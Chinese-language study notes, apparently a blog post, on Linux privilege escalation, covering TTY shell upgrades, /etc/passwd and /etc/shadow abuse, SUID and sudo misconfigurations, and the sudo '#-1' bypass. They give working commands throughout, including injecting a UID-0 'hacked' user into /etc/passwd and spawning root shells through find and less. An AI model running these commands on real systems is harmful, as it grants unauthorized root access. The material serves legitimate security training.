window和liunx提权学习笔记

liunx提权

反弹shell升级交互式反弹sehell

反弹的服务器

接受的服务器

连接上之后的shell,没有tab键补全,不可以上下键显示历史命令

你会发现并不能如愿所偿,「上下方向键」被强制转换为了 ^[[A、^[[B 等字符。
正是由于「简单 shell」的各种缺陷,在渗透测试后期提权、内网渗透时都会带来很多困扰,所以接下来我们需要先将「简单 shell」升级为支持交互式的「交互式 shell」。

方法一:

通过Python创建伪终端升级(pts)

首先确认目标主机是否支持 Python 环境,通过which pythonwhich python3这两个命令,分别查看目标主机是否支持 Python2 和 Python3 环境。

使用python的pty模块创建一个伪终端

python -c 'import pty; pty.spawn("/bin/bash");'

方法二:

socat

首先查看目标主机是否有socat

which socst

接收方:

先监听

socat file:`tty`,raw,echo=0 tcp-listen:5912

然后在「简单 shell」中执行如下命令,反弹一个完整的 tty shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912

提取的文字: `socat` 反弹回的 shell 支持历史命令、tab 补全、ctrl-c 等功能

passwd文件提权

Linux 密码信息保存在两个文件中,分别为: /etc/passwd 和 /etc/shadow
/etc/passwd 文件用于保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分:

  1. 用户名
  2. 密码,若为 x 则表示密码保存在 /etc/shadow
  3. UID,0 代表 root
  4. GID,表示所在组
  5. 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
  6. 用户主目录
  7. 默认 shell 类型

例如,假设 /etc/passwd 文件中其中一行信息如下:

简单来说,当你登录 Linux 系统时会有以下几个步骤:

  1. 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。
  2. 若匹配成功,再对比该行第二个字段的密码,如果均匹配成功即登录成功。
  3. 登录成功之后所具有的权限,通过第三个字段 UID 和第四个字段 GID 确定。
  4. 其中 UID=0 代表 root 用户,也就是说 —— 无论第一个字段代表的用户名是什么,只要 UID=0,则该账户就拥有 root 权限。—— 这点在提权中非常重要。

由此可见,/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。

试想,如果我们能够对 /etc/passwd 文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。


不过一般情况下,只有 root 用户拥有对 /etc/passwd 文件的写入权限,其他用户均只有读取权限。但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。

通常来说,通过 /etc/passwd 提权的方法有两种:

  1. 如果具有 /etc/passwd 的 w (写入) 权限,可以直接添加一个 root 权限的用户
  2. 如果 /etc/passwd 中存储 root 用户密码哈希,可以使用 john 进行破解

kal自带john,先将hash的密码写入1.txt

shadow文件提权

/etc/shadow文件用于存储加密后的密码和密码相关的配置信息,该文件的每一行代表一个用户,每行都包含 9 个字段,用冒号(":")隔开,顺序如下:

  1. 用户名

  2. 加密后的密码

  3. 上次修改密码的时间(从 1970.1.1 开始的总天数)

  4. 两次修改密码间隔的最少天数,如果为 0,则没有限制

  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为 99999 则没有限制

  6. 提前多少天警告用户密码将过期

  7. 在密码过期之后多少天禁用此用户

  8. 用户过期日期(从 1970.1.1 开始的总天数),如果为 0,则该用户永久可用

  9. 保留,未来使用

例如,假设 /etc/shadow 文件中其中一行信息如下:

其含义解读如下:

  • 用户名:test-user

  • 加密后的密码:$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0

  • 上次修改密码的时间(从 1970.1.1 开始的总天数为 17470)

  • 两次修改密码最小间隔天数:没有限制

  • 两次修改密码最大间隔天数:没有限制

  • 提前 7 天警告用户密码将过期

  • 该用户永久可用

默认情况下,只有 root 权限才能读取和修改 /etc/shadow 文件,但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。

通常来说,通过 /etc/shadow 提权的方法有两种:

  1. 如果具有 /etc/shadow 的 w (写入) 权限,可以直接修改 root 密码

  2. 如果具有 /etc/shadow 的 r (读取) 权限,可以通过读取 root 用户密码并使用 john 进行破解

SUID提权(现今有用)

通常情况下,Linux 运行一个程序,是使用当前运行这个程序的用户权限,这种机制是非常合理的,但有一些程序比较特殊,比如我们常用的 ping 命令。

ping 需要发送 ICMP 报文,这个操作需要发送 Raw Socket,而使用 Raw Socket 是需要 root 权限,那怎么才能让普通用户也能使用 ping 命令呢?这时候就要使用到 suid

suid 全称是 Set owner User ID up on execution ,即——使文件在执行时拥有文件所有者的权限。

我们使用如下命令查看 ping 命令的权限设置:

ls -alh /bin/ping

你会发现 ping 的权限中多了一个 s,这就是 suid。因此无论任何用户在执行 ping 命令时,ping 命令本身都将拥有其所有者的权限,而 ping 的所有者是 root 用户,所以 ping 就拥有了 root 权限。

试想,如果拥有 suid 权限(root)的某文件提供了文件修改、执行系统命令的功能,那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。

下面给大家介绍几种常用的 SUID 提权方法。

nmap提权

首先需要初始化实验环境,打开终端并执行如下命令:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh

图片描述

当使用 nmap 进行「UDP 扫描」或「SYN 扫描」时,需要调用 Raw Socket,因此需要 root 权限。

nmap 默认不具有 suid 权限,每次使用的都需要加上 sudo

图片描述

有些管理员为了使用方便,便给 nmap 加上了 s 权限。

但别忘了,仅具有 s 权限是不能用于提权的,还需要该文件拥有执行系统命令修改文件的功能,恰巧 nmap 2.02~5.21 版本提供了执行系统命令的功能。

使用命令 nmap --version 查看实验环境中 nmap 的版本:

图片描述

恰好是 2.01~5.21 之间的版本,此版本可使用命令 nmap --interactive 进入一个交互界面,在该模式下输入 !sh 便可获取一个 shell,如下图所示:

图片描述

由于此时 nmap 并不具有 s 权限,因此获取到的 shell 为 shiyanlou 用户权限。

使用如下命令给 nmap 加上 s 权限:

sudo chmod u+s /usr/bin/nmap

图片描述

此时 nmap 已经拥有了 s 权限,且文件所有者为 root 用户,再尝试以上方法便可获得 root 权限的 shell。

此处由于实验楼提供的虚拟技术关系,造成提权不成功,一般情况下是能够提权成功的。

find 提权

当 find 命令具有 s 权限时,可以借助 find 执行系统命令从而提权。

使用命令 ls -alh /usr/bin/find 查看 find 命令权限:

图片描述

find 执行系统命令的语法如下:

find <file> -exec <command> \;

其中 <file> 可以为任意文件,因此我们可以先使用 touch 命令创建一个文件 test

图片描述

然后通过 test 文件执行命令:

find test -exec whoami \;

图片描述

这样就能以 root 权限执行命令了,但每次执行命令都要这样写未免很麻烦,并且正如之前我们在「TTY shell」中我们讲到了,这种方式并不支持需要交互的命令,例如 ssh、su 等。

同学们可以稍微思考一下:如何获取一个更方便的 root 权限的 shell 呢?

其实方法很简单,我们可以直接执行 /bin/bash 命令即可:

find test -exec /bin/bash -p \;

注意:必须使用 -p 参数,否者无法获取 root 权限,至于原因可以参看我写的这篇文章,这里不再赘述。

图片描述

cp 和 mv 命令

cpmove 命令具有 s 权限时,可以通过覆盖 /etc/passwd/etc/shadow 文件,从而获取 root 权限。

使用命令 ls -alh /bin/cp 查看 cp 命令权限,可以看到 cp已经有了 s 权限:

图片描述

先将 /etc/passwd 的内容复制一份到用户主目录下 ~/passwd:

cat /etc/passwd > ~/passwd

此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。

图片描述

然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法,我们创建一行用户数据如下:

  • 用户名:hacked

  • 密码:pass123

hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

然后将这行添加到 ~/passwd 文件中:

echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd

图片描述

最后,通过 cp 命令的 s 权限,用 ~/passwd 覆盖 /etc/passwd

cp ~/passwd /etc/passwd

覆盖完成后,通过 su hacked 命令切换即可切换到 hacked 用户(密码 pass123):

图片描述

由于 hacked 用户的 uid=0,因此我们切换之后成功获取到 root 权限。

move 命令的提权方法和 cp 命令非常类似,这里就不再赘述,同学们可以自行尝试一下,如果你有问题欢迎留言。

以上已经给大家介绍了多种 SUID 可执行文件的提权方法,实际上可用于 SUID 提权的还有很多,这里就不给大家一一列举了,可以通过以下网址查询提权方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

图片描述

通过搜索找到对应的命令,查看详情便可知道具体提权方法。

如何查找 SUID 可执行文件

在实战中,我们可以使用如下命令来查找主机上所有具有 s 权限的可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

图片描述

但是查询结果中,通常有大量的无法利用来提权的可执行文件,需要人工进行分析。

有没有办法通过自动化脚本来自动分析呢?有的,我写了一个简单的脚本来完成自动化分析,项目地址如下:

https://github.com/Jewel591/suidcheck

图片描述

使用 wget 下载 suidcheck.sh:

wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh

suidcheck.sh 加上可执行权限并执行:

chmod +x suidcheck.sh
./suidcheck.sh

图片描述

红框中的结果,就是可用来提权的可执行文件:

图片描述

此脚本非常简单,各位同学如果有时间和兴趣也可以自己编写脚本,别忘了在评论区留言分享你的成果哦!

实验总结

在本节实验中,我们学习了什么是 SUID 权限,并掌握了通过 nmap、find、cp 三种命令提权的方法。

实际上可通过 SUID 提权的命令远不止这三种,例如 cat、vim、more、sed 等命令也都可以进行 SUID 提权,但只要你掌握实验中提到的提权思路,其他命令也就能融会贯通了。

sudo提权

什么是 sudo 权限

在 Linux 中,sudo 命令的作用是让当前用户以 root 或其他用户身份(取决于 /etc/sudoers 文件配置)运行命令,sudo 这个词是「Super User Do root privilege task」的缩写。

/etc/sudoers就是 sudo 权限的配置文件,该文件用于配置具有 sudo 权限的用户和组,当你使用 sudo 运行任何命令时,Linux 系统会检查 sudoers 文件中配置的用户名或组,若当前用户和当前用户所在的用户组均不在 sudoers 文件中,则不能使用 sudo 命令。

Sudo 配置文件语法

sudo 的配置文件是 /etc/sudoers,使用如下命令查看实验主机上 sudoers 的配置:

sudo cat /etc/sudoers

图片描述

重点关注 # User Privilege specification 这行下面的内容,此处是针对特定的用户配置 sudo 权限,如上图所示可以看到一条配置:

root    ALL=(ALL:ALL) ALL

这行配置的含义如下图所示(Tag 是可选的):

图片描述

这行配置意为:root 用户在所有的主机上,能够以任何用户任何用户组的权限,执行任何命令。

很多同学会有疑惑,上面提到的”任何用户/任何用户组“是什么意思呢?

其实是因为我们在执行 sudo 命令时,可以使用-u来指定命令以某个特定用户的权限运行,只要 sudoers 文件中配置允许就可以,例如我们想以用户 www-data 的权限来执行 whoami 命令:

sudo -u www-data whoami

同理也可以使用-g 来指定命令以某个特定用户组的权限运行。

Tag是可选的,当被设置为 NOPASSWD 时,意味着执行 sudo 无需密码。

下面通过一个实例来说明如何配置 sudoers:

假设我们要允许用户 lanqiao 可以在所有主机上,以 root 用户的权限执行 more 和 cp 命令且无需输入密码,那么可以这样配置:

# 多个命令用,分割
lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more
# 用户和用户组相同时,可以简写为一个
lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more

理论知识先讲到这里,相信大家对 sudoers 的配置语法已经有了基本的理解,下面我们通过实验来学习几种常见的通过 sudo 提权的方法。

具有 root 权限的命令

这种情况是指:可以通过 sudo 以 root 权限执行某些命令,并通过这些命令获得一个 root 权限的 shell,又细分了两种情况:

  • 允许执行某个或某些命令,且未对命令参数做限制

  • 只允许执行某条带参数的具体命令

第一种:sudo 允许执行某个命令,但未对命令参数做限制

执行如下命令,完成初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh

图片描述

如上图所示,此时我们已经切换为了普通用户 tomcat-syl (用于模拟攻击者获取的初始 shell ),接下来需要通过 sudo 的配置疏漏提升到 root 权限。

使用sudo -l命令查看当前用户的 sudo 权限:

图片描述

如上图所示,可以看到如下一行配置:

(root) NOPASSWD:/usr/bin/find

等同于:

tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find

意为 tomcat-syl 被允许以 root 权限执行 find 命令,并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似,可以通过下面这条命令提权:

sudo find /home -exec /bin/bash \;

图片描述

可以看到成功提权到 root 权限,原理如果不清楚的同学可以再回去看一下实验四,这里不再赘述。

如果是其他命令,和之前实验中我们讲过的一样,可以通过以下网址查询提权方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

图片描述

通过搜索找到对应的命令,查看详情便可知道具体提权方法。

第二种:sudo 允许执行某条带参数的具体命令

重新打开一个终端,执行如下命令,完成初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh

图片描述

同样使用sudo -l命令查看当前用户的 sudo 权限:

图片描述

可以看到如下一行配置:

(root) NOPASSWD: /bin/less /var/log/messages

等同于:

tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages

注意: /bin/less/var/log/messages之前没有, 说明这是一条完整的命令。

意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages,这种情况下由于命令参数被写死,所以发挥空间就没有第一种那么大了,一般只有特定的一些情况可以提权,less 命令是其中之一。

键入命令 sudo less /var/log/messages 查看日志,随后输入 !/bin/bash可以获得一个 root 权限的 shell:

图片描述

sudo 自身的漏洞

执行如下命令,完成初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh

首先使用 sudo -l 查看当前用户的 sudo 权限:

图片描述

注意ALL!root之间是用逗号隔开的,意为:tomcat-syl 用户可以以任意非 root 身份运行所有的命令且无需密码。

例如我们指定以 shiyanlou 用户的身份运行 whomai 命令:

sudo -u shiyanlou whoami

图片描述

如上图所示,此时的用户权限为 shiyanlou。

若指定以 root 用户的身份运行 ,则系统会提示输入密码:

sudo -u root whoami

图片描述

看来我们无法通过常规的 sudo 提权方法提升至 root 权限,但是别着急,下面我们再尝试一下 sudo 本身的漏洞。

首先使用 sudo —-verison 来查看实验主机上 sudo 的版本:

图片描述

如上图所示,sudo 版本为 1.8.16。

这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」,是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台,在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」,网址如下:

https://www.exploit-db.com/

图片描述

左边选择 EXPLOITS,点击右上角的搜索图标,输入 sudo 1.8 进行搜索:

图片描述

搜索结果中展示了几个 sudo 的漏洞,点击sudo 1.8.27 - Security Bypass查看详情:

图片描述

该漏洞在 1.8.28 版本修复了,我们实验环境中是 1.8.16,很幸运的也在影响范围内,该漏洞的原理如下:

当用户在使用 sudo 命令时,通过指定 UID 为 #-1 或 #4294967295,就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时,会将 -1 或 4294967295 这两个异常数字视为 0,而 0 是 root 用户的 UID。

下面我们尝试一个这个漏洞,在命令行执行以下命令:

sudo -u "#-1" whoami
sudo -u "#4294967295" whoami

图片描述

如上图所示,我们成功绕过了 sudoers 配置文件的限制。

类似于之前 SUID 提权中提到的,使用如下命令便可获得一个 root 权限的 shell:

sudo -u "#-1" bash -p

图片描述

当然 sudo 还有其他漏洞可以被利用来提权,我们这里只是抛砖引玉,同学们在实战的时候可以根据 sudo 的版本,在 exploitdb 上查询具体的漏洞来进行利用。

CronJobs提权

知识点

  • 什么是 Cron Jobs

  • crontab 语法

  • crontab 执行脚本内容覆盖提权

什么是 Cron 定时任务

Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。

CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具,但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。

crontab 命令使用语法如下:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 7) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12)
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

其中 user 是可选的,若不指定用户,则使用当前用户的权限指定。

需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。

举个例子:

如果我们想实现每小时输出一次 Apach

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值